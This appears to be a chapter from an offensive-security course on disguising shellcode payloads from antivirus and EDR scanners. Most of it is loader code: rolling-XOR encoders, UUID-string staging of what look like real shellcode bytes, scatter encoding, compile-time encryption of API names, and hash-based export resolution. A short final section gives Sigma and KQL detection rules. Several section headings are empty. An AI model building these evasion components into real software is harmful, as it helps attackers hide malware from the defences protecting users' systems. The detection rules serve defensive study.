Payload Obfuscation and Encoding

Obfuscation transforms shellcode or PE payloads so that static scanners cannot match their known signatures. This chapter covers the encoding primitives used in real loaders — XOR with key rotation, UUID and IPv4 stacking, scatter encoding, string obfuscation at compile time, and indirect API call resolution — and explains exactly which detection layer each technique targets and where each fails.

What Static Detection Actually Matches

XOR and Rolling-XOR Encoding

// XOR with single byte key — simplest; easily detected if key is static
void xor_single(uint8_t *buf, size_t len, uint8_t key) {
    for (size_t i = 0; i < len; i++) buf[i] ^= key;
}

// Rolling XOR: each byte is XORed with the PREVIOUS ciphertext byte as well.
// Creates a chain — changing one byte in the key or position cascades.
// Defeats simple single-byte XOR YARA rules that look for repeated patterns.
void xor_rolling_encode(uint8_t* plain, size_t len, uint8_t* key, size_t keyLen) {
    uint8_t prev = 0;
    for (size_t i = 0; i < len; i++) {
        uint8_t k = key[i % keyLen];
        plain[i] = plain[i] ^ k ^ prev;
        prev = plain[i];
    }
}

void xor_rolling_decode(uint8_t* cipher, size_t len, uint8_t* key, size_t keyLen) {
    uint8_t prev = 0;
    for (size_t i = 0; i < len; i++) {
        uint8_t k = key[i % keyLen];
        uint8_t c = cipher[i];
        cipher[i] = c ^ k ^ prev;
        prev = c;
    }
}
// Python encoder (run offline to produce the encoded payload array):
// key = b"ObfuscationKey42"
// prev = 0
// out = []
// for b in shellcode:
//     enc = b ^ key[i % len(key)] ^ prev
//     out.append(enc)
//     prev = enc

UUID / IPv4 Stacking Encoding

// UUID encoding: store shellcode as an array of GUIDs.
// Windows' UuidFromStringA decodes the UUID string back to 16 raw bytes.
// Stored on disk as text strings — very low entropy; passes string-based scans.
// Real technique: EnumSystemLocalesA callback executes decoded shellcode.

#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")

// Array of UUID strings (offline encoder produces these from shellcode)
const char* uuids[] = {
    "e48348fc-e8f0-00c0-0000-415141505251",
    "d2314856-4865-528b-6048-8b5218488b52",
    /* ... one GUID per 16 bytes of shellcode */
    NULL
};

PVOID DecodeUuidShellcode(void) {
    int count = 0;
    while (uuids[count]) count++;
    PVOID buf = VirtualAlloc(NULL, count * 16,
                              MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    PBYTE ptr = (PBYTE)buf;
    for (int i = 0; i < count; i++) {
        UUID uid;
        UuidFromStringA((RPC_CSTR)uuids[i], &uid);
        memcpy(ptr, &uid, 16);
        ptr += 16;
    }
    return buf;
}

// IPv4 stacking: same idea but shellcode stored as dotted-quad IP strings.
// 4 bytes per string; decoded with inet_addr() or RtlIpv4StringToAddressA.
// Entropy of "192.168.1.1\0" is far lower than raw shellcode bytes.

// Python UUID encoder:
// import uuid, struct
// def encode_uuid(sc):
//     while len(sc) % 16: sc += b'\x90'  # NOP pad
//     return [str(uuid.UUID(bytes=sc[i:i+16])) for i in range(0, len(sc), 16)]

Scatter Encoding

// Scatter: interleave shellcode bytes with junk bytes at compile time.
// Only every Nth byte is real shellcode. Decoder collects every Nth byte.
// Reduces byte-sequence matches: no 4-byte consecutive window matches signature.

#define STRIDE 4   // one real byte every 4 bytes

PBYTE ScatterDecode(const BYTE* scattered, SIZE_T totalLen) {
    SIZE_T realLen = totalLen / STRIDE;
    PBYTE out = (PBYTE)VirtualAlloc(NULL, realLen,
                                     MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    for (SIZE_T i = 0; i < realLen; i++) {
        out[i] = scattered[i * STRIDE];
    }
    return out;
}

// Python scatter encoder:
// def scatter_encode(sc, stride=4):
//     out = []
//     for b in sc:
//         out.append(b)
//         out.extend([random.randint(0, 255) for _ in range(stride - 1)])
//     return bytes(out)

// Entropy effect: pure shellcode entropy ≈ 7.0-7.5
// After STRIDE=4 scatter with random junk: ≈ 7.8-7.9 (slightly worse)
// Better for entropy: fill junk bytes with printable ASCII (0x20-0x7E) → ≈ 5.5

SGN: Shikata Ga Nai Revisited

Compile-Time String Obfuscation

// Problem: strings like "VirtualAlloc", "CreateRemoteThread", "kernel32.dll"
// in the PE's .rdata section are a direct indicator of malicious intent.
// AV scanners check for these strings even without executing the binary.
// Solution: encrypt strings at compile time using constexpr, decrypt at runtime.

// Minimal C++17 compile-time XOR string obfuscation:
template<size_t N, uint8_t Key>
struct ObfStr {
    char data[N];
    constexpr ObfStr(const char(&str)[N]) {
        for (size_t i = 0; i < N; i++)
            data[i] = str[i] ^ (Key + i);  // key rotation per index
    }
    const char* dec() const {
        static char buf[N];
        for (size_t i = 0; i < N; i++)
            buf[i] = data[i] ^ (Key + i);
        return buf;
    }
};

// Usage:
static constexpr auto s_kernel32 = ObfStr<13, 0x42>("kernel32.dll");
static constexpr auto s_valloc   = ObfStr<13, 0x17>("VirtualAlloc");

HMODULE hK32   = LoadLibraryA(s_kernel32.dec());
LPVOID  pVAlloc = GetProcAddress(hK32, s_valloc.dec());

// Verify: the string "VirtualAlloc" will NOT appear in the compiled PE's
// .rdata section — the XOR'd form is stored, decoded to a stack buffer at runtime.
// strings.exe / FLOSS will still find it via emulation, but static grep won't.

Indirect API Calls via Trampoline

// Indirect calls: instead of calling VirtualAllocEx directly (visible in IAT
// and as a direct call target), resolve function pointer at runtime and call
// through a register. IAT won't list the API. EDR call stacks show the indirect
// call as originating from inside NTDLL — harder to correlate.

// Method 1: GetProcAddress at runtime (still detectable — GetProcAddress itself)
typedef LPVOID(WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
pVirtualAlloc VA = (pVirtualAlloc)GetProcAddress(
    GetModuleHandleA("kernel32"), "VirtualAlloc");
LPVOID buf = VA(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READ);

// Method 2: Export Address Table (EAT) walk — no GetProcAddress at all
PVOID EatResolve(HMODULE hMod, DWORD nameHash) {
    PBYTE base = (PBYTE)hMod;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD names  = (PDWORD)(base + exp->AddressOfNames);
    PWORD  ords   = (PWORD) (base + exp->AddressOfNameOrdinals);
    PDWORD addrs  = (PDWORD)(base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)(base + names[i]);
        if (Djb2Hash(name) == nameHash)
            return (PVOID)(base + addrs[ords[i]]);
    }
    return NULL;
}

// DJB2 hash — computed at compile time for each API name string
// so the API name string itself never appears in the binary:
constexpr DWORD Djb2Hash(const char* s) {
    DWORD h = 5381;
    while (*s) h = ((h << 5) + h) + *s++;
    return h;
}
// Usage: EatResolve(hK32, 0x9C9A91A3) — 0x9C9A91A3 is Djb2Hash("VirtualAlloc")
// "VirtualAlloc" string never in binary; hash is just a constant integer.

Detection Engineering

title: High Entropy PE File Dropped to Disk
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith:
      - '.exe'
      - '.dll'
      - '.bin'
  # entropy: requires custom rule engine or EDR enrichment field
  entropy_min: 7.2
  condition: selection
level: medium
note: Requires entropy enrichment in SIEM or EDR file events

title: UuidFromStringA Shellcode Decode Pattern
logsource:
  product: windows
  category: image_load
detection:
  selection:
    ImageLoaded|endswith: '\rpcrt4.dll'
  filter_known:
    Image|contains:
      - '\System32\'
      - '\Program Files\'
  condition: selection AND NOT filter_known
level: medium
tags: [attack.defense_evasion, T1027]

-- MDE KQL: detect RpcRt4 loaded by processes outside common install paths
DeviceImageLoadEvents
| where FileName =~ "rpcrt4.dll"
| where InitiatingProcessFolderPath !startswith @"C:\Windows"
| where InitiatingProcessFolderPath !startswith @"C:\Program Files"
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessFolderPath, InitiatingProcessCommandLine

Q&A